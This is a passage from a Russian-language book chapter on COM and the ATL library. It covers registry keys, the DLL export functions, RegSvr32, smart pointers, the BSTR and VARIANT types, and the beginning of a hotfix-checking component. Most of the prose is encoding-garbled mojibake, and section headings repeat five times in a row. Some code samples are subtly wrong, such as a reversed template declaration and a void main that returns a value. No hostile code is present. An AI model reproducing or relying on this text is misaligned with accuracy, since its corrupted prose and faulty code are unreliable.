îçíà÷àåò, ÷òî îáúåêò çàãðóæàåòñÿ â àäðåñíîå ïðîñòðàíñòâî êëèåíòà, à Local-
Server32 – ÷òî îí áóäåò ñîçäàí êàê îòäåëüíûé ïðîöåññ.

Êëþ÷ InprocServer32Êëþ÷ InprocServer32Êëþ÷ InprocServer32Êëþ÷ InprocServer32Êëþ÷ InprocServer32
Ó êëþ÷à InprocServer32 åñòü íåñêîëüêî ýëåìåíòîâ-ïîòîìêîâ, êîòîðûå ñîîá-
ùàþò ñðåäå èñïîëíåíèÿ COM, êàê ñëåäóåò çàãðóæàòü îáúåêò. Çíà÷åíèåì ïî
óìîë÷àíèþ ÿâëÿåòñÿ ôèçè÷åñêèé ïóòü ê îáúåêòó â ôàéëîâîé ñèñòåìå.

Çíà÷åíèå, ñâÿçàííîå ñ èìåíåì ThreadingModel, ãîâîðèò, êàêàÿ ïîòîêîâàÿ
ìîäåëü ïîääåðæèâàåòñÿ äàííûì îáúåêòîì. Âîçìîæíû, â ÷àñòíîñòè, ñëåäóþ-
ùèå ìîäåëè: Apartment (ðàçäåëüíàÿ), Free (ñâîáîäíàÿ) è Both (îáîþäíàÿ).

Åùå îäèí ïîòîìîê ýòîãî êëþ÷à íàçûâàåòñÿ ProgID, åãî çíà÷åíèåì ïî
óìîë÷àíèþ ÿâëÿåòñÿ òåêñòîâîå èìÿ, ïî êîòîðîìó ìîæíî îáðàùàòüñÿ ê êîì-
ïîíåíòó.

Êëþ÷ LocalServer32Êëþ÷ LocalServer32Êëþ÷ LocalServer32Êëþ÷ LocalServer32Êëþ÷ LocalServer32
Êàê è InprocServer32, êëþ÷ LocalServer32 ñîîáùàåò ñðåäå èñïîëíåíèÿ COM,
êàê çàãðóæàòü îáúåêòû èç êîíêðåòíîãî ñåðâåðà, íî â äàííîì ñëó÷àå, ñåðâåð
ïðåäñòàâëÿåò ñîáîé èñïîëíÿåìûé ôàéë.

Çíà÷åíèåì ïî óìîë÷àíèþ ÿâëÿåòñÿ ïóòü ê ôàéëó, êîòîðûé çàïóñêàåòñÿ
â ïðîöåññå çàãðóçêè îáúåêòà.

È ó ýòîãî êëþ÷à åñòü ïîòîìîê ProgID, ñîäåðæàùèé òåêñòîâîå èìÿ êîìïî-
íåíòà.

Реализация внутрипроцессного сервера

Ìîäóëè, ðåàëèçóþùèå ìîäåëü âíóòðèïðîöåññíîãî ñåðâåðà, îáû÷íî îôîðì-
ëÿþòñÿ â âèäå DLL. Ñïåöèôèêàöèÿ COM òðåáóåò, ÷òîáû ëþáîé âíóòðèïðî-

Модель COM
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öåññíûé ìîäóëü ýêñïîðòèðîâàë ÷åòûðå ôóíêöèè, âûçûâàåìûå ñðåäîé èñïîë-
íåíèÿ, à èìåííî: DllGetClassObject, DllCanUnloadNow, DllRegisterServer è DllUn-
registerServer. Íàçíà÷åíèå ýòèõ ôóíêöèé îáñóæäàåòñÿ íèæå.

Ôóíêöèÿ DllGetClassObjectÔóíêöèÿ DllGetClassObjectÔóíêöèÿ DllGetClassObjectÔóíêöèÿ DllGetClassObjectÔóíêöèÿ DllGetClassObject
Ýòî ñàìàÿ âàæíàÿ ôóíêöèÿ èç òåõ, ÷òî äîëæåí ðåàëèçîâàòü âíóòðèïðîöåññ-
íûé ìîäóëü, òàê êàê èìåííî îíà ïðåäîñòàâëÿåò ñðåäñòâà äëÿ ïîñëåäóþùåãî
äîñòóïà ê åãî êîìïîíåíòàì. Ïðîòîòèï åå âûãëÿäèò òàê:

STDAPI DllGetClassObject(
  REFCLSID rclsid,
  REFIID riid,
  LPVOID * ppv
);

Ïàðàìåòð rclsid îïðåäåëÿåò êîìïîíåíò, êîòîðûé íóæíî ñîçäàòü. Ïàðàìåòð
æå riid çàäàåò èíòåðôåéñ íå ýòîãî êîìïîíåíòà, à ôàáðèêè êëàññà, òî åñòü
IClassFactory èëè IClassFactory2. Íó à â ïàðàìåòðå ppv âîçâðàùàåòñÿ óêàçàòåëü
íà çàòðåáîâàííóþ ôàáðèêó êëàññà.

Êëèåíò ìîæåò ïðèìåíèòü ôàáðèêó êëàññà äëÿ ñîçäàíèÿ êîìïîíåíòà ñ ïîìî-
ùüþ ôóíêöèè CoCreateInstance. Íî ýòî ðåäêî áûâàåò íåîáõîäèìî, ïîñêîëü-
êó ñðåäà èñïîëíåíèÿ COM ñàìà îáðàáàòûâàåò âñå ñòàíäàðòíûå ñëó÷àè.

Ñòàíäàðòíûå COM-îáúåêòû, ñîâìåñòèìûå ñî ñðåäîé èñïîëíåíèÿ, äîëæíû
ðåàëèçîâûâàòü èíòåðôåéñ IClassFactory (èíà÷å âìåñòî CoCreateInstance èì
ïðèäåòñÿ âûçûâàòü ôóíêöèþ CoGetClassObject).

Ôóíêöèÿ DllCanUnloadNowÔóíêöèÿ DllCanUnloadNowÔóíêöèÿ DllCanUnloadNowÔóíêöèÿ DllCanUnloadNowÔóíêöèÿ DllCanUnloadNow
Ýòà ôóíêöèÿ ñîîáùàåò, èñïîëüçóåòñÿ â äàííûé ìîìåíò DLL èëè íåò. Ñëîâî
«èñïîëüçóåòñÿ» â ýòîì êîíòåêñòå ìîæåò îçíà÷àòü êàê òî, ÷òî ñ íåé ïðîèñõî-
äèò èíòåðàêòèâíîå âçàèìîäåéñòâèå, òàê è ïðîñòî òîò ôàêò, ÷òî ê õðàíÿ-
ùèìñÿ â íåé îáúåêòàì ñåé÷àñ îñóùåñòâëÿåòñÿ äîñòóï ñî ñòîðîíû êëèåíòîâ.
Ïðîòîòèï DllCanUnloadNow ñëåäóþùèé:

STDAPI DllCanUnloadNow(void);

Åñëè DLL ìîæíî âûãðóçèòü, ôóíêöèÿ âîçâðàùàåò S_OK, â ïðîòèâíîì ñëó-
÷àå S_FALSE.

Ôóíêöèÿ DllRegisterServerÔóíêöèÿ DllRegisterServerÔóíêöèÿ DllRegisterServerÔóíêöèÿ DllRegisterServerÔóíêöèÿ DllRegisterServer
Ýòà ôóíêöèÿ îòâå÷àåò çà àâòîðåãèñòðàöèþ ìîäóëÿ â ñèñòåìå. Ðåãèñòðèðóåòñÿ
êàæäûé COM-îáúåêò, ïðåäîñòàâëÿåìûé ìîäóëåì, à òàêæå äîïîëíèòåëüíàÿ
èíôîðìàöèÿ, ê ïðèìåðó, áèáëèîòåêà òèïîâ îáúåêòà (TypeLib).
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×òîáû ê âíóòðèïðîöåññíîìó ìîäóëþ ìîæíî áûëî îáðàòèòüñÿ èçâíå, åãî
íåîáõîäèìî çàðåãèñòðèðîâàòü. Äëÿ ýòîãî íóæíî îáðàòèòüñÿ ê ýêñïîðòèðóå-
ìîé ôóíêöèè DllRegisterServer. Ê ñîæàëåíèþ, èíñòàëëÿòîð íå âñåãäà äåëàåò
ýòî, ïîýòîìó ÷àñòî ïðèõîäèòñÿ ðåãèñòðèðîâàòü âíóòðèïðîöåññíûå ìîäóëè
âðó÷íóþ. Â ýòîì ìîæåò ïîìî÷ü óòèëèòà RegSvr32, êîòîðîé ïðîñòî ïåðåäàåòñÿ
èìÿ ìîäóëÿ, íàïðèìåð: RegSvr32 Mydll.dll.

Ôóíêöèÿ DllUnregisterServerÔóíêöèÿ DllUnregisterServerÔóíêöèÿ DllUnregisterServerÔóíêöèÿ DllUnregisterServerÔóíêöèÿ DllUnregisterServer
Ýòà ôóíêöèÿ âûïîëíÿåò äåéñòâèÿ, îáðàòíûå òåì, ÷òî ïðîäåëàëà DllRegis-
terServer.

Äëÿ óäàëåíèÿ âíóòðèïðîöåññíîãî ìîäóëÿ èç ñèñòåìû òàêæå ìîæíî âîñ-
ïîëüçîâàòüñÿ óòèëèòîé RegSvr32, ïåðåäàâ åé, ïîìèìî èìåíè ìîäóëÿ, ôëàã /u,
íàïðèìåð:

RegSvr32 /u Mydll.dll

Библиотека ATL
Ïîëó÷èâ íåêîòîðîå ïðåäñòàâëåíèå î òîì, ÷òî òàêîå òåõíîëîãèÿ COM, âû,
âåðîÿòíî, îáðàòèëè âíèìàíèå íà òî, ÷òî äëÿ îáåñïå÷åíèÿ ïðàâèëüíîé ðàáîòû
âñåõ åå ñîñòàâíûõ ÷àñòåé íóæíî ïðèëîæèòü íåìàëî óñèëèé. Òóò-òî íà ñöåíå
è ïîÿâëÿåòñÿ áèáëèîòåêà øàáëîíîâ ATL (Active Template Library). ATL – ýòî
ñàìàÿ êîìïàêòíàÿ è áûñòðàÿ èç âñåõ ñîçäàííûõ Microsoft áèáëèîòåê äëÿ ñî-
çäàíèÿ COM-ñåðâåðîâ íà ÿçûêå C++. Íî îñîáåííî âàæíî òî, ÷òî îíà âî
ìíîãî ðàç óìåíüøàåò îáúåì ðàáîòû, íåîáõîäèìîé äëÿ ðåàëèçàöèè ñåðâåðà è
êëèåíòà.

Ïðè ðàçðàáîòêå êëèåíòñêèõ ïðèëîæåíèé COM âñòðå÷àþòñÿ íåêîòîðûå
ñòàíäàðòíûå êîíñòðóêöèè, êîòîðûå õîòåëîñü áû èñïîëüçîâàòü ïîâòîðíî, íà-
ïðèìåð, äîñòóï ê ìåòîäàì èíòåðôåéñà IUnknown. Â ATL äëÿ ýòîé öåëè ïðèìå-
íÿþòñÿ òàê íàçûâàåìûå èíòåëëåêòóàëüíûå óêàçàòåëè, î êîòîðûõ ìû ðàññêà-
æåì ÷óòü íèæå.

Ïðè ðàçðàáîòêå ñåðâåðíûõ ïðèëîæåíèé COM î÷åíü ìíîãèå àñïåêòû ìîæ-
íî âûíåñòè â ïîääåðæèâàþùóþ áèáëèîòåêó, êàê òî:

� ðåàëèçàöèÿ èíòåðôåéñà IUnknown â òîé åå ÷àñòè, êîòîðàÿ îòâå÷àåò çà
ïîäñ÷åò ññûëîê è çàïðîñû íà ïîëó÷åíèå èíòåðôåéñîâ;

� ðåàëèçàöèÿ èíòåðôåéñà IClassFactory äëÿ âñåõ ñîâìåñòèìûõ êëàññîâ;
� ðåãèñòðàöèÿ è óäàëåíèå COM-îáúåêòîâ;
� ðåàëèçàöèÿ òî÷åê âõîäà DllGetClassObject, DllCanUnloadNow, DllRegis-

terServer è DllUnregisterServer äëÿ âíóòðèïðîöåññíûõ ñåðâåðîâ;
� ðåãèñòðàöèÿ êëàññîâ âíåïðîöåññíîãî COM-ñåðâåðà â ñðåäå èñïîëíåíèÿ.

Библиотека ATL



652 Глава 13. Написание компонентов для задач, связанных с безопасностью

Шаблоны в языке C++

Êàê ñëåäóåò èç íàçâàíèÿ, áèáëèîòåêà ATL îñíîâàíà íà ïðèìåíåíèè øàáëîíîâ,
êàê è ñòàíäàðòíàÿ áèáëèîòåêà øàáëîíîâ Standard Template Library (STL).
Ïðîãðàììèðîâàíèå ñ ïîìîùüþ øàáëîíîâ – ýòî îäèí èç âàðèàíòîâ ïîâòîð-
íîãî èñïîëüçîâàíèÿ êîäà. Âìåñòî òîãî ÷òîáû íàñëåäîâàòü êëàññó è ïîëó÷àòü
â äîâåñîê êó÷ó ôóíêöèîíàëüíîñòè, êîòîðàÿ âàì ñîâåðøåííî íè ê ÷åìó, øàá-
ëîí ïîçâîëÿåò òî÷íî îïðåäåëèòü, ÷òî èìåííî äåëàåò êëàññ.

Äëÿ ïðèìåðà ðàññìîòðèì êëàññ ñòåêà. Áåç øàáëîíîâ íåâîçìîæíî áûëî áû
êîððåêòíî ðåàëèçîâàòü õðàíåíèå â íåì ïðîèçâîëüíûõ äàííûõ; ñòåê îêàçàëñÿ
áû íå ïîääàþùèìñÿ ïîâòîðíîìó èñïîëüçîâàíèþ êëàññîì äëÿ õðàíåíèÿ äàí-
íûõ îïðåäåëåííîãî òèïà èëè äâîè÷íûõ äàííûõ ôèêñèðîâàííîãî ðàçìåðà
èëè óêàçàòåëåé íà ïðîèçâîëüíûå äàííûå.

Øàáëîí æå ïîçâîëÿåò ñïåöèàëèçèðîâàòü êëàññ âî âðåìÿ îïðåäåëåíèÿ äëÿ ðà-
áîòû ñ äàííûìè êîíêðåòíîãî òèïà. Ðàññìîòðèì, íàïðèìåð, òàêîå îïðåäåëåíèå:

Stack<int> myIntegerStack;
myIntegerStack.push(10);
myIntegerStack.push(5);

Çäåñü àðãóìåíò øàáëîíà êëàññà Stack çàêëþ÷åí â óãëîâûå ñêîáêè < >. Ñàì
êëàññ Stack îïðåäåëåí ñëåäóþùèì îáðàçîì:

template class<T>
class Stack
{
  // ... êîä îïóùåí
  T *m_pStack;     // øàáëîííàÿ ïåðåìåííàÿ äëÿ õðàíåíèÿ óêàçàòåëÿ
}

Êàê âèäèì, â îïðåäåëåíèè ïðèñóòñòâóåò øàáëîííûé ïàðàìåòð T, âìåñòî
êîòîðîãî ïðè êîìïèëÿöèè âûøåïðèâåäåííîãî ïðèìåðà ïîäñòàâëÿåòñÿ òèï
int. Òî÷íî òàêæå ìîæíî áûëî áû îïðåäåëèòü êîíêðåòèçàöèþ øàáëîíà ëþ-
áûì äðóãèì òèïîì.

Ïðåèìóùåñòâà òàêîãî ïîäõîäà î÷åâèäíû – îäèí øàáëîí ìîæíî èñïîëüçî-
âàòü äëÿ ðåàëèçàöèè ëþáîãî ñòåêà. Ýòîò ïðèíöèï ïîâñåìåñòíî ïðèìåíÿåòñÿ
â áèáëèîòåêå ATL.

Технология реализации клиента с помощью ATL

Áèáëèîòåêà ATL ïîääåðæèâàåò íåñêîëüêî êëàññîâ, ïîìîãàþùèõ èçáàâèòüñÿ
îò ïîâòîðÿþùåãîñÿ êîäà â êëèåíòñêèõ ïðèëîæåíèÿõ COM. Ïî áîëüøåé ÷àñòè
ýòîò êîä ñâÿçàí ñ èíòåðôåéñàìè IUnknown è IDispatch, à òàêæå ñî ñïåöèàëü-
íûìè òèïàìè äàííûõ VARIANT è BSTR.
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Èíòåëëåêòóàëüíûå óêàçàòåëèÈíòåëëåêòóàëüíûå óêàçàòåëèÈíòåëëåêòóàëüíûå óêàçàòåëèÈíòåëëåêòóàëüíûå óêàçàòåëèÈíòåëëåêòóàëüíûå óêàçàòåëè
Êàê âû óæå çíàåòå, â COM èíòåðôåéñ IUnknown ÿâëÿåòñÿ áàçîâûì äëÿ âñåõ
îñòàëüíûõ è îòâå÷àåò çà ïîäñ÷åò ññûëîê. ATL ïðåäëàãàåò äâà øàáëîííûõ êëàñ-
ñà, óïðîùàþùèõ ðàáîòó ñ IUnknown: CComPtr è CComQIPtr.

Îáà ýòè êëàññà íàçûâàþòñÿ èíòåëëåêòóàëüíûìè óêàçàòåëÿìè, ïîñêîëüêó áå-
ðóò íà ñåáÿ äîïîëíèòåëüíóþ ðàáîòó ïðè äîñòóïå ê òåì ðåàëüíûì óêàçàòåëÿì,
êîòîðûå ïðåäñòàâëÿþò. Ñòîèò îòìåòèòü íåñêîëüêî âàæíûõ ìîìåíòîâ:

� ïàðàìåòðîì øàáëîíà CComPtr ÿâëÿåòñÿ òèï èíòåðôåéñà, íà êîòîðûé
êëàññ áóäåò óêàçûâàòü, íàïðèìåð, CComPtr<IDispatch>;

� øàáëîí CComPtr ñîäåðæèò äâà ïåðåãðóæåííûõ ìåòîäà ñ èìåíåì CoCrea-
teInstance. Íè îäíîìó èç íèõ èäåíòèôèêàòîð èíòåðôåéñà íå ïåðåäàåòñÿ
â êà÷åñòâå ïàðàìåòðà, òàê êàê âî âðåìÿ êîíêðåòèçàöèè êëàññà CComPtr
èíòåðôåéñ óæå áûë óêàçàí. Ðàçíèöà ìåæäó äâóìÿ ýòèìè ìåòîäàìè â òîì,
÷òî îäèí ïîçâîëÿåò ñîñëàòüñÿ íà çàãðóæàåìûé êîìïîíåíò ïî åãî CLSID,
à äðóãîé – ïî ñòðîêå, ñîäåðæàùåé ProgID òîãî æå êîìïîíåíòà (ïîíÿò-
íîå ÷åëîâåêó èìÿ);

� îïåðàòîð ïðèñâàèâàíèÿ ïåðåãðóæåí òàê, ÷òî âî âðåìÿ ýòîé îïåðàöèè
ñ÷åò÷èê ññûëîê óâåëè÷èâàåòñÿ íà åäèíèöó;

� êîãäà ïåðåìåííàÿ òèïà CComPtr âûõîäèò èç îáëàñòè äåéñòâèÿ, äåñòðóê-
òîð óìåíüøàåò ñ÷åò÷èê ññûëîê íà èíòåðôåéñ.

Ïðèâåäåì ïðèìåð èñïîëüçîâàíèÿ êëàññà CComPtr:

void main()
{
  CComPtr<IXMLDOMDocument> spDoc;
  HRESULT hr = spDoc.CoCreateInstance(L"MSXML.DOMDocument");
  if (FAILED(hr))
     return hr;
}

Ïîääåðæêà òèïîâ äàííûõÏîääåðæêà òèïîâ äàííûõÏîääåðæêà òèïîâ äàííûõÏîääåðæêà òèïîâ äàííûõÏîääåðæêà òèïîâ äàííûõ
Ïðàêòè÷åñêè âî âñåõ èíòåðôåéñàõ, ïîääåðæèâàþùèõ àâòîìàòèçàöèþ, ïðè-
ìåíÿþòñÿ òèïû äàííûõ BSTR è VARIANT. Äëÿ îáîèõ â ATL åñòü ïîääåðæèâà-
þùèå êëàññû.

Òèï äàííûõ BSTRÒèï äàííûõ BSTRÒèï äàííûõ BSTRÒèï äàííûõ BSTRÒèï äàííûõ BSTR
BSTR, èëè äâîè÷íàÿ ñòðîêà, – ýòî ñòðîêà ñèìâîëîâ â êîäèðîâêå Unicode, êî-
òîðîé ïðåäøåñòâóåò ÷èñëî òèïà WORD, îïðåäåëÿþùåå äëèíó ñòðîêè. Ïî-
ñêîëüêó, ýòî íå îáû÷íàÿ ñòðîêà (è, ñëåäîâàòåëüíî, äëÿ åå èíèöèàëèçàöèè
íåëüçÿ âîñïîëüçîâàòüñÿ ñòðîêîâûìè ëèòåðàëàìè), äëÿ ðàáîòû ñ íåé íåîáõî-
äèìà ïîääåðæêà ñî ñòîðîíû ñðåäû èñïîëíåíèÿ COM. Íàïðèìåð, äëÿ ñîçäàíèÿ
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BSTR-ñòðîêè, âûâîäà åå íà ýêðàí è óíè÷òîæåíèÿ íåîáõîäèìû òàêèå âûçîâû
ôóíêöèé:

BSTR bstrValue = SysAllocString(L"Hello, BSTR!");
wprintf(L"%s", bstrValue);
SysFreeString(bstrValue);

Ïîíÿòíî, ÷òî òàê ðàáîòàòü óòîìèòåëüíî, äà è îøèáêè ëåãêî äîïóñòèòü.
Ïîýòîìó â áèáëèîòåêå ATL åñòü êëàññ CComBSTR, êîòîðûé óïðîùàåò èñïîëü-
çîâàíèå BSTR-ñòðîê. Íèæå ïîêàçàíî, êàê òà æå ñàìàÿ ïîñëåäîâàòåëüíîñòü
äåéñòâèé ðåàëèçóåòñÿ ñ ïîìîùüþ êëàññà CComBSTR:

wprintf(L"%s", CComBSTR(L"Hello, BSTR!"));

Òèï äàííûõ VARIANTÒèï äàííûõ VARIANTÒèï äàííûõ VARIANTÒèï äàííûõ VARIANTÒèï äàííûõ VARIANT
Òèï VARIANT – ýòî, ïî ñóòè äåëà, îáúåäèíåíèå ðàçíûõ òèïîâ äàííûõ. Îí
âïåðâûå ïîÿâèëñÿ â ÿçûêå Visual Basic, à çàòåì ñòàë ïðèìåíÿòüñÿ âî âñåõ èíòåð-
ôåéñàõ, ñîâìåñòèìûõ ñ àâòîìàòèçàöèåé, òàê ÷òî èñïîëüçóåòñÿ âåñüìà ÷àñòî.

Ïðåæäå âñåãî, ïåðåìåííóþ òèïà VARIANT íåîáõîäèìî èíèöèàëèçèðîâàòü,
óêàçàâ, êàêèå äàííûå â íåé áóäóò õðàíèòüñÿ. Äëÿ ýòîãî â ïîëå vt çàïèñûâàåòñÿ
ïîäõîäÿùåå çíà÷åíèå. Ýòî ïîëå èìååò òèï ïåðå÷èñëåíèÿ VARENUM, îïèñû-
âàþùåãî âñå ïîääåðæèâàåìûå òèïû. Íèæå ïðèâåäåí ñïèñîê âîçìîæíûõ
çíà÷åíèé vt:

 1 /*

 2  * ïîðÿäîê ïðèìåíåíèÿ ïåðå÷èñëåíèÿ VARENUM:

 3  *

 4  * * [V] – ìîæåò óïîòðåáëÿòüñÿ â VARIANT

 5  * * [T] – ìîæåò óïîòðåáëÿòüñÿ â TYPEDESC

 6  * * [P] – ìîæåò óïîòðåáëÿòüñÿ ïðè çàäàíèè çíà÷åíèÿ ñâîéñòâà OLE

 7  * * [S] – ìîæåò óïîòðåáëÿòüñÿ â Safe Array

 8  *

 9  *

10  * VT_EMPTY        [V]     [P]     çíà÷åíèå îòñóòñòâóåò

11  * VT_NULL         [V]     [P]     null â ñìûñëå SQL
12  * VT_I2           [V] [T] [P] [S] äâóõáàéòîâîå öåëîå ñî çíàêîì

13  * VT_I4           [V] [T] [P] [S] ÷åòûðåõáàéòîâîå öåëîå ñî çíàêîì

14  * VT_R4           [V] [T] [P] [S] ÷åòûðåõáàéòîâîå âåùåñòâåííîå

15  * VT_R8           [V] [T] [P] [S] âîñüìèáàéòîâîå âåùåñòâåííîå

16  * VT_CY           [V] [T] [P] [S] äåíåæíàÿ åäèíèöà

17  * VT_DATE         [V] [T] [P] [S] äàòà

18  * VT_BSTR         [V] [T] [P] [S] ñòðîêà äëÿ OLE-àâòîìàòèçàöèè

19  * VT_DISPATCH     [V] [T]     [S] IDispatch *

20  * VT_ERROR        [V] [T] [P] [S] SCODE

21  * VT_BOOL         [V] [T] [P] [S] True=-1, False=0
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22  * VT_VARIANT      [V] [T] [P] [S] VARIANT *

23  * VT_UNKNOWN      [V] [T]     [S] IUnknown *

24  * VT_DECIMAL      [V] [T]     [S] 16-áèòîâîå ñ ôèêñèðîâàííîé òî÷êîé

25  * VT_RECORD       [V]     [P] [S] îïðåäåëåííûé ïîëüçîâàòåëåì òèï

26  * VT_I1           [V] [T] [P] [S] signed char

27  * VT_UI1          [V] [T] [P] [S] unsigned char

28  * VT_UI2          [V] [T] [P] [S] unsigned short

29  * VT_UI4          [V] [T] [P] [S] unsigned long

30  * VT_I8           [V] [T] [P] [S] 64-áèòîâîå öåëîå ñî çíàêîì

31  * VT_UI8              [T] [P]     64-áèòîâîå öåëîå áåç çíàêà

32  * VT_INT          [V] [T] [P] [S] ìàøèííîå öåëîå ñî çíàêîì

33  * VT_UINT         [V] [T] [P] [S] ìàøèííîå öåëîå áåç çíàêà

34  * VT_INT_PTR          [T]         çíà÷åíèå ñî çíàêîì, äëèíà êîòîðîãî

                                   ðàâíà øèðèíå ìàøèííîãî ðåãèñòðà

35  * VT_UINT_PTR         [T]         çíà÷åíèå áåç çíàêà, äëèíà êîòîðîãî

                                   ðàâíà øèðèíå ìàøèííîãî ðåãèñòðà

36  * VT_VOID             [T]         void â ñìûñëå C

37  * VT_HRESULT          [T]         ñòàíäàðòíûé òèï âîçâðàùàåìîãî

                                   çíà÷åíèÿ

38  * VT_PTR              [T]         òèï óêàçàòåëÿ

39  * VT_SAFEARRAY        [T]         (èñïîëüçóéòå VT_ARRAY)

40  * VT_CARRAY           [T]         ìàññèâ â ñìûñëå C

41  * VT_USERDEFINED      [T]         îïðåäåëåííûé ïîëüçîâàòåëåì òèï

42  * VT_LPSTR            [T] [P]     ñòðîêà, çàâåðøàþùàÿñÿ íóëåì

43  * VT_LPWSTR           [T] [P]     ñòðîêà øèðîêèõ ñèìâîëîâ,

                                   çàâåðøàþùàÿñÿ íóëåì

44  * VT_FILETIME             [P]     FILETIME

45  * VT_BLOB                 [P]     ïîñëåäîâàòåëüíîñòü áàéòîâ,

                                   ïðåäâàðÿåìàÿ äëèíîé

46  * VT_STREAM               [P]     èìÿ ïîòîêà

47  * VT_STORAGE              [P]     èìÿ õðàíèëèùà

48  * VT_STREAMED_OBJECT      [P]     ïîòîê ñîäåðæèò îáúåêò

49  * VT_STORED_OBJECT        [P]     õðàíèëèùå ñîäåðæèò îáúåêò

50  * VT_VERSIONED_STREAM     [P]     ïîòîê ñ âåðñèåé, èäåíòèôèöèðóåìîé

                                   GUID

51  * VT_BLOB_OBJECT          [P]     BLOB ñîäåðæèò îáúåêò

52  * VT_CF                   [P]     ôîðìàò áóôåðà îáìåíà

53  * VT_CLSID                [P]     èäåíòèôèêàòîð êëàññà

54  * VT_VECTOR               [P]     ïðîñòîé ìàññèâ

55  * VT_ARRAY        [V]             SAFEARRAY*

56  * VT_BYREF        [V]             void* äëÿ ëîêàëüíîãî ïðèìåíåíèÿ

57  * VT_BSTR_BLOB                    çàðåçåðâèðîâàíî äëÿ ñèñòåìû

58  */

Ñ èñïîëüçîâàíèåì ýòîãî òèïà ñâÿçàíî íåñêîëüêî íþàíñîâ. Âî-ïåðâûõ,
ñíà÷àëà íóæíî èíèöèàëèçèðîâàòü ïåðåìåííóþ òèïà VARIANT ôóíêöèåé
VariantInit. Êîãäà òàêàÿ ïåðåìåííàÿ áîëüøå íå íóæíà, åå ñëåäóåò îñâîáîäèòü
ôóíêöèåé VariantClear. Ïðè ïðèñâàèâàíèè ïåðåìåííîé òèïà VARIANT çíà÷å-
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íèÿ íåîáõîäèìî ñîîòâåòñòâóþùèì îáðàçîì óñòàíîâèòü ïîëå vt. Íèæå ïðè-
âåäåí ïðèìåð:

VARIANT var;
VariantInit(&var);

var.vt = VT_UI4;

var.ulVal = 1024;

VariantClear(&var);

Áèáëèîòåêà ATL ïðåäîñòàâëÿåò ïîääåðæêó äëÿ òèïà VARIANT â ôîðìå
êëàññà CComVariant. Îí óïðîùàåò ðàáîòó ñ òèïîì VARIANT, ïåðåîïðåäåëÿÿ
îïåðàòîð ïðèñâàèâàíèÿ äëÿ òèïè÷íûõ ñëó÷àåâ, êàê, íàïðèìåð, LPWSTR, int,
long, char è CComBSTR. Êðîìå òîãî, êîíñòðóêòîð è äåñòðóêòîð àâòîìàòè÷åñêè
âûçûâàþò ôóíêöèè VariantInit è VariantClear ñîîòâåòñòâåííî.

Âîò êàê ìîæíî áûëî áû âîñïîëüçîâàòüñÿ ýòèì âñïîìîãàòåëüíûì êëàññîì:

CComVariant var;
var = CComBSTR(L"This is my variant structure containing a BSTR");

Технология реализации сервера с помощью ATL

Â ýòîì ðàçäåëå ìû ðàññìîòðèì ñàìóþ ñóòü ïîääåðæêè, ïðåäîñòàâëÿåìîé áèá-
ëèîòåêîé ATL: ðåàëèçàöèþ âíóòðèïðîöåññíîãî è âíåïðîöåññíîãî ñåðâåðà,
êîìïîçèöèþ êëàññîâ è ðåãèñòðàöèþ êëàññîâ.

Êîìïîçèöèÿ êëàññîâÊîìïîçèöèÿ êëàññîâÊîìïîçèöèÿ êëàññîâÊîìïîçèöèÿ êëàññîâÊîìïîçèöèÿ êëàññîâ
Ïîñêîëüêó êîìïîçèöèÿ êëàññà íå çàâèñèò îò òèïà ñåðâåðà, â êîòîðîì ýòîò
êëàññ ñîäåðæèòñÿ, íà÷íåì èçëîæåíèå èìåííî ñ ýòîãî âîïðîñà.

Îñíîâíûå òðåáîâàíèÿ ê ëþáîìó COM-îáúåêòó – ýòî ðåàëèçàöèþ ôàáðè-
êè êëàññà, ïîääåðæêà èíòåðôåéñà IUnknown è ïðî÷èõ èíòåðôåéñîâ â çàâèñè-
ìîñòè îò ôóíêöèîíàëüíîñòè îáúåêòà. Êëàññû èç áèáëèîòåêè ATL, ïåðå÷èñ-
ëåííûå â òàáëèöå 13.1, ìîãóò ïîìî÷ü óäîâëåòâîðèòü ýòè òðåáîâàíèÿ.

Таблица 13.1. Основные классы ATL, поддерживающие композицию

Класс ATL Назначение

CComObjectRoot Наследуйте класс своего компонента от этого класса,
чтобы получить требуемый от IUnknown механизм
подсчета ссылок

CComCoClass Наследуйте класс своего компонента от этого класса,
если хотите иметь автоматическую поддержку стан�
дартного интерфейса фабрики класса IClassFactory
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Таблица 13.1. Основные классы ATL, поддерживающие композицию
(окончание)

Класс ATL Назначение

CComObject Этот класс реализует интерфейс IUnknown. Однако
в отличие от двух предшествующих, наследовать ему
не надо. Вместо этого вы конкретизируете этот класс
шаблонным параметром, чтобы он наследовал классу
вашего компонента

Òåïåðü ìîæíî ïåðåéòè ê îïðåäåëåíèþ COM-êëàññà. Íàø êîìïîíåíò áóäåò
ïðîâåðÿòü, óñòàíîâëåíî íåêîòîðîå ñðî÷íîå èñïðàâëåíèå (hotfix) â ñèñòåìå
èëè íåò.

Äëÿ íà÷àëà îïðåäåëèì îñíîâíîé èíòåðôåéñ êîìïîíåíòà:

interface IHotFixCheck : IUnknown
{
   virtual HRESULT __stdcall IsPatchInstalled(
      VARIANT_BOOL *pbIsInstalled) = 0;
};

Çäåñü îïðåäåëåí èíòåðôåéñ èëè àáñòðàêòíûé áàçîâûé êëàññ, êîòîðîìó áó-
äåò íàñëåäîâàòü íàø êîìïîíåíò. Àáñòðàêòíûé áàçîâûé êëàññ íå ñîäåðæèò
íè÷åãî, êðîìå îáúÿâëåíèÿ ìåòîäîâ, êîòîðûå íàì åùå ïðåäñòîèò ðåàëèçî-
âàòü. Îáúåêò òàêîãî êëàññà íåëüçÿ ñîçäàòü, ïîñêîëüêó â íåì íåò íèêàêîé ðåà-
ëèçàöèè ìåòîäîâ.

Ñåé÷àñ ñòîèò ñäåëàòü íåñêîëüêî çàìå÷àíèé. Êëþ÷åâîå ñëîâî interface – ýòî,
íà ñàìîì äåëå, ïðîñòî ïåðåîïðåäåëåíèå êëþ÷åâîãî ñëîâî struct ÿçûêà C++.
Òàê ñäåëàíî ïîòîìó, ÷òî âñå ÷ëåíû ñòðóêòóðû ïî óìîë÷àíèþ ñ÷èòàþòñÿ îò-
êðûòûìè, â îòëè÷èå îò êëàññà, ãäå ÷ëåíû ïî óìîë÷àíèþ çàêðûòû.

Ïîñêîëüêó ýòî èíòåðôåéñ COM, òî îí, êîíå÷íî, äîëæåí íàñëåäîâàòü
IUnknown. Êðîìå òîãî, âñå ÷ëåíû èíòåðôåéñà äîëæíû ñëåäîâàòü ñîãëàøåíèþ
î âûçîâå __stdcall.

Âàæíî ïîä÷åðêíóòü, ÷òî òàêîå îáúÿâëåíèå èíòåðôåéñîâ íåñòàíäàðòíî.
